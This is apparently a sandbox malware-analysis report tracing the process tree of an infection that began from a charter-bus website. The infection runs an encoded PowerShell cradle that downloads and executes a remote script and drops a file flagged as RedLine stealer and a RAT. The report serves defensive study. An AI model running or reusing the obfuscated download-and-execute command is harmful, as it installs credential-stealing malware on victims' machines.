Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://gogocharters.com/lexington-charter-bus"
Imagebase:	0x7ff6a4160000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:48:18
Start date:	21/05/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /K powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1
Imagebase:	0x220000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:48:18
Start date:	21/05/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7e2000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:48:18
Start date:	21/05/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1
Imagebase:	0xf60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:48:28
Start date:	21/05/2025
Path:	C:\Users\user\AppData\Local\Temp\Aceline.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Aceline.exe"
Imagebase:	0x7ff67e520000
File size:	5'946'776 bytes
MD5 hash:	FFD09F92A5477A88E376970A0348DDD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	15:48:52
Start date:	21/05/2025
Path:	C:\Users\user\AppData\Local\Aceline.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Aceline.exe"
Imagebase:	0x7ff71b680000
File size:	5'946'776 bytes
MD5 hash:	FFD09F92A5477A88E376970A0348DDD6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.2113198177.0000026B3D1B9000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000D.00000002.2113198177.0000026B3D1B9000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: 0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:48:58
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\prqukw53.trh"
Imagebase:	0x7ff6a4160000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:48:59
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws"
Imagebase:	0x7ff6a4160000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:49:00
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws\Crashpad --metrics-dir=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=134.0.6998.36 --initial-client-data=0x10c,0x110,0x114,0xe4,0x118,0x7ff827d24f38,0x7ff827d24f44,0x7ff827d24f50
Imagebase:	0x7ff82dbd0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:49:03
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b"
Imagebase:	0x7ff6a4160000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:49:03
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b\Crashpad --metrics-dir=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=134.0.6998.36 --initial-client-data=0x100,0x104,0x108,0xe8,0x10c,0x7ff827d24f38,0x7ff827d24f44,0x7ff827d24f50
Imagebase:	0x7ff82dbd0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:49:10
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4948 /prefetch:3
Imagebase:	0x7ff6a4160000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Function 07D106A8 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

ok, xrefs: 07D10843
ok, xrefs: 07D10835

Memory Dump Source

Source File: 00000009.00000002.1752554442.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7d10000_powershell.jbxd

Similarity

API ID:
String ID: ok$ok
API String ID: 0-2911160639
Opcode ID: 6120278bb8460053061bc0ece1865f684d577dcb8578dc024f05fa70ca0d7b59
Instruction ID: 7667f8da23786dc0f295c0c3173b9f7ce2d42702658d10f037533b21a63b4f30
Opcode Fuzzy Hash: 6120278bb8460053061bc0ece1865f684d577dcb8578dc024f05fa70ca0d7b59
Instruction Fuzzy Hash: AF510AF1B09305EFC7257A68A81076EFBA2AFC5211F54807BD595CB292DA35C8C1C7E2

Function 07D15DD0 Relevance: .9, Instructions: 897COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1752554442.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2d1f4f1b4c06e32b0658fae516e6ee4e8f4a99cdf5ce0949e950513c4b2c591
Instruction ID: b1c125ca1162d09d301be7aaf5c16176338935ccf966f1f5f6158e8edbc70fd5
Opcode Fuzzy Hash: c2d1f4f1b4c06e32b0658fae516e6ee4e8f4a99cdf5ce0949e950513c4b2c591
Instruction Fuzzy Hash: 0B5228B1B00206EFDB259F78F41066AFBA2AFC5311F14C0AAE956CB242DF35D941C7A1

Function 07D185C0 Relevance: .6, Instructions: 586COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1752554442.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb1ee1a6db264a89002690a521d31634fbe3b5dd73af322bb78a2da3028d2990
Instruction ID: e78c773a297e8f4d2ad9f72cbfbdf6b6e94cfc1e3090c79b38ce518db7ba8a44
Opcode Fuzzy Hash: fb1ee1a6db264a89002690a521d31634fbe3b5dd73af322bb78a2da3028d2990
Instruction Fuzzy Hash: 36123BB1B04206EFCB25DB68B90076AFBE29FC2361F14C47AE556CB242DB35C941D7A1

Function 07D14378 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1752554442.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f0192b51e3b0054fc14b04e00fc0a24c2317f4126f8f662b9b20bb5d4fc5a29
Instruction ID: 6e5b3589236b7cb363c4c4e3d772e45d342e3cac31103d548bf4f8901a8cef29
Opcode Fuzzy Hash: 7f0192b51e3b0054fc14b04e00fc0a24c2317f4126f8f662b9b20bb5d4fc5a29
Instruction Fuzzy Hash: 12C13BF1B04246EFCB259B78A4106AAFBF2AFC6355F14807AD946CB242DB35C941C7E1

Function 04EA29F0 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7d33c79a2be78877d48425683244d078e8a5e35c23b0986f1c6372ced830f5e
Instruction ID: 69cc79e16d0ac264f0e2136ea8d91efdb2dc8e61542ac6cd970a3a847a5d5d85
Opcode Fuzzy Hash: c7d33c79a2be78877d48425683244d078e8a5e35c23b0986f1c6372ced830f5e
Instruction Fuzzy Hash: 3691AE74A006098FCB15CF98C494AAEFBF1FF88314B248699E955AB365C735FC51CBA0

Function 04EAD460 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09184a7b3a2009b7f5ea75af7a4453f731cbdead3f20177d3ac175b0a15e7d41
Instruction ID: 7aa60c65b56dde0015dbd08fea59ac6a96fdddf7340e9f3a5111a0db3d6bfa0d
Opcode Fuzzy Hash: 09184a7b3a2009b7f5ea75af7a4453f731cbdead3f20177d3ac175b0a15e7d41
Instruction Fuzzy Hash: D2818270A002049FDB19DF78D894AADBBF2FF89308F148969E416AB761DB35BC45CB50

Function 04EAC120 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e4262228fb1d4bcc73fc8367f59ab8cc2fcf094b15145190e406a88d2c63c14
Instruction ID: 909526048ce2a50e1b10beb82ea1fdaa5e94914d548df2679f2ec7b57e3db9bf
Opcode Fuzzy Hash: 6e4262228fb1d4bcc73fc8367f59ab8cc2fcf094b15145190e406a88d2c63c14
Instruction Fuzzy Hash: 8581A034A01244DFCB15CFB4D8849ADBBF2BF8A314F2484A9E445AF362D735E855CB50

Function 04EAD3F2 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1bcdf850c7acccfef241ee5d18c132d53e379abdcede1ee59669b3489545f1
Instruction ID: f460f1e56f93a0a87ecc0a2de44b55f8a630080e7edf29ada8df526ff38ab030
Opcode Fuzzy Hash: fa1bcdf850c7acccfef241ee5d18c132d53e379abdcede1ee59669b3489545f1
Instruction Fuzzy Hash: 6B613A74A00604CFCB28DF78D994AADB7F2BF89348F148968E416AB761DB35BC45CB50

Function 07D185A6 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1752554442.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9253d32844dd688b4c444447d03ebaf26795557f3e6a09cadd0a231b2daf2a19
Instruction ID: a7df24345f47921d216583ccd465678f9a9a7ec6a8d7fd957f8124901aa74628
Opcode Fuzzy Hash: 9253d32844dd688b4c444447d03ebaf26795557f3e6a09cadd0a231b2daf2a19
Instruction Fuzzy Hash: 754118F4B00302EFCB21CF54B540A6AFBF29F82765F1980A5E9859F242D735C981EB61

Function 04EA2B00 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c247d11fd7b4fb86d0afde906c0a46a26ff27a613537e1068eb54be6f1cbe03d
Instruction ID: aaf48e946e14a514c12b8f6e3e1f483c939027829b35de30fd6d88b59184553f
Opcode Fuzzy Hash: c247d11fd7b4fb86d0afde906c0a46a26ff27a613537e1068eb54be6f1cbe03d
Instruction Fuzzy Hash: 1E416A74A011059FCB15CF58C198AEEFBB1FF48314B218599E916AB364C732FC61CBA0

Function 07D10687 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1752554442.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde38789f851755c8db4beae179c0b0296d2776adb85f127945d327d6690d1af
Instruction ID: fdb054badfb794cc3ef335458d04fa2b52aea0d5bd317b60436c94a3c1d1f5b3
Opcode Fuzzy Hash: bde38789f851755c8db4beae179c0b0296d2776adb85f127945d327d6690d1af
Instruction Fuzzy Hash: 5831D5F0604306EFCB21BE24B5007BAFBA1AF45614F148066D954CB192DB35D9C5CBA2

Function 07D1435B Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1752554442.0000000007D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa7bec7cf1175e11a79db49eb7ca8e9c8c8674f32f16c2b6d689a36ca5217dc0
Instruction ID: 235395b85a602a0892d1027f70838709020b7f7830e8341a62d23d599eddc612
Opcode Fuzzy Hash: fa7bec7cf1175e11a79db49eb7ca8e9c8c8674f32f16c2b6d689a36ca5217dc0
Instruction Fuzzy Hash: 2A31E4F1A04382EFCB208E65B8047BAF7A1EB81795F448076D915CB142DB79D941C7A2

Function 04EAD8A0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e10ea32526400df2318716195367b9ea5ff3b9ac8c2267ec169d66bf9746217
Instruction ID: 55df4c9d3db27d410a1e723bfa07bc75aae28cd45ae4c4aebb8ea18dc8f375eb
Opcode Fuzzy Hash: 5e10ea32526400df2318716195367b9ea5ff3b9ac8c2267ec169d66bf9746217
Instruction Fuzzy Hash: DC317C74A042499FCB05CF59C8809AAFBB1FF89310B15819AE849EB762C735FC51CBA0

Function 04EAD892 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f070d9844bae6f0eabcccbbdf302167a58922528f4dc99be1a06ab65ea7ffaa7
Instruction ID: 5a0988176e2ebf688e5268c493c4c50d1e63b579e975f7b9bce2df481deda6e0
Opcode Fuzzy Hash: f070d9844bae6f0eabcccbbdf302167a58922528f4dc99be1a06ab65ea7ffaa7
Instruction Fuzzy Hash: C3210A74A002199FCB05CF99C8909AAFBB1FF4D310B158599E909EB755C731FC51CBA0

Function 04CFD005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748506712.0000000004CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 628bb611ff51392d385cd7558be36e799f01284afb31af250644e75acd7515f8
Instruction ID: 44e871b4ccbcda507015db7b39583dc9d240c6cc1d60eb8f62a02a60281694cc
Opcode Fuzzy Hash: 628bb611ff51392d385cd7558be36e799f01284afb31af250644e75acd7515f8
Instruction Fuzzy Hash: 7801406100E3C09FD7128B259D94B52BFB4DF43224F1981DBDD898F193C2695849C772

Function 04CFD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748506712.0000000004CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53836e7405d7b615d5bf93eddfffdcb915e379df28b9f1420ca37b8ac19c2881
Instruction ID: ee3956d4dff16074fa524281d9e3ddbaea78646294283b6935a29225290829dd
Opcode Fuzzy Hash: 53836e7405d7b615d5bf93eddfffdcb915e379df28b9f1420ca37b8ac19c2881
Instruction Fuzzy Hash: EE01F231105340AAE7608E26ED80B66BF99DF41334F18C11AEE4B0B242D67DA942CAB1

Function 04EAD6F6 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e768ae01ec29f452e8bd9b419123f1d4db4a8ecc783b9517dca4dab193320196
Instruction ID: 6c5d1b1b38f6c3a02e200506cffa9acea9873e4f3c188d4c5db7941616fafb86
Opcode Fuzzy Hash: e768ae01ec29f452e8bd9b419123f1d4db4a8ecc783b9517dca4dab193320196
Instruction Fuzzy Hash: A9F03035B100189F8B04DBA8D5908ACB7F7EFCC2547658096E505AB315DB35BC118B62

Function 04EAD6C0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1001c30e0cfb2978dd59ff426a237c0a7a1ff41ac9e67b3624ea0bdaed4dea
Instruction ID: 6c5d1b1b38f6c3a02e200506cffa9acea9873e4f3c188d4c5db7941616fafb86
Opcode Fuzzy Hash: ce1001c30e0cfb2978dd59ff426a237c0a7a1ff41ac9e67b3624ea0bdaed4dea
Instruction Fuzzy Hash: A9F03035B100189F8B04DBA8D5908ACB7F7EFCC2547658096E505AB315DB35BC118B62

Function 04EAD729 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e768ae01ec29f452e8bd9b419123f1d4db4a8ecc783b9517dca4dab193320196
Instruction ID: 6c5d1b1b38f6c3a02e200506cffa9acea9873e4f3c188d4c5db7941616fafb86
Opcode Fuzzy Hash: e768ae01ec29f452e8bd9b419123f1d4db4a8ecc783b9517dca4dab193320196
Instruction Fuzzy Hash: A9F03035B100189F8B04DBA8D5908ACB7F7EFCC2547658096E505AB315DB35BC118B62

Function 04EAD68B Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82659590cefade7bc54dff61c9bfbcb744f2f353e64121728ab8beea84b156a4
Instruction ID: 02137fb52ce45e93ca109e3d8edb2b4926dda3d5a2d67f72ecabedc0f4e1ca01
Opcode Fuzzy Hash: 82659590cefade7bc54dff61c9bfbcb744f2f353e64121728ab8beea84b156a4
Instruction Fuzzy Hash: CFE06D35B011189F8B18EAB8E5909EDB7F3EFC82547648066E805A7205DB35BC129BA2

Function 04EAD67F Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1748857223.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ea0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c7622340bcedaac398344834d0d1413b76575aca81ae5ffb870d7ff62f7b440
Instruction ID: 8f69dc642349eea3a4d7bcf1c2d4ca0170b1f61a59722316b0f89ff782bcc8b3
Opcode Fuzzy Hash: 7c7622340bcedaac398344834d0d1413b76575aca81ae5ffb870d7ff62f7b440
Instruction Fuzzy Hash: 27E0E535A000089FCB00CBD8E982BECBBB2EF48315F208062E5247B641C335B9208B90

Analysis Process: Aceline.exePID: 4216, Parent PID: 7348COMMON

Executed Functions

Function 0000019A30F91349 Relevance: 6.8, APIs: 4, Instructions: 765fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32 ref: 0000019A30F91917
Concurrency::cancel_current_task.LIBCPMT ref: 0000019A30F9234C
Concurrency::cancel_current_task.LIBCPMT ref: 0000019A30F9235E

Memory Dump Source

Source File: 0000000A.00000003.1857654432.0000019A30F91000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000019A30F91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_19a30f91000_Aceline.jbxd

Similarity

API ID: Concurrency::cancel_current_task$CopyFile
String ID:
API String ID: 1481836693-0
Opcode ID: 2d57fa39a3ae15f04c34a9eac639079755a23ae2a7d61bbafd970c6ade0d11e0
Instruction ID: e0fafbff9871194e67411b0cf85579b0a82616637b2bd419b2dbc711ee561b4f
Opcode Fuzzy Hash: 2d57fa39a3ae15f04c34a9eac639079755a23ae2a7d61bbafd970c6ade0d11e0
Instruction Fuzzy Hash: 22328D30968E5C8EEB58EB28C8987ED73E1FFA8310F94471AE447D31A5DB74D6848781

Function 0000019A31120F7A Relevance: 3.2, APIs: 2, Instructions: 244nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0000019A31121057
NtFreeVirtualMemory.NTDLL ref: 0000019A311211F7

Memory Dump Source

Source File: 0000000A.00000003.1857762619.0000019A31120000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000019A31120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_19a31120000_Aceline.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 0f8a1ef69ca864fbc767e77ec1c594cbee80c13f95cee31c7c85972fbcf3a514
Instruction ID: 3f8508e320ea132eb6c626b0577b6e0c118dbf86d2f5e661e28aae2f8fbd7e00
Opcode Fuzzy Hash: 0f8a1ef69ca864fbc767e77ec1c594cbee80c13f95cee31c7c85972fbcf3a514
Instruction Fuzzy Hash: A481DB30A1490D8FEF94EBA8D465BED77F1FF58300F604569A409E32C1DB78EA858786

Function 0000019A31120E04 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.1857762619.0000019A31120000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000019A31120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_19a31120000_Aceline.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 4c9f3864d08c221c65de1af10b4eb8d5f4db7d5a84d0ed526b6def14dffd0e7c
Instruction ID: dd7dddd5b93a67b21132290d4e773dd1a4ad47902a35ea7905d08d3e4892b9a9
Opcode Fuzzy Hash: 4c9f3864d08c221c65de1af10b4eb8d5f4db7d5a84d0ed526b6def14dffd0e7c
Instruction Fuzzy Hash: AA410AB0654A4C8FEBB4EF1CD864BEA76E1FB58314F900129D90CC7281DB78DA49CB46

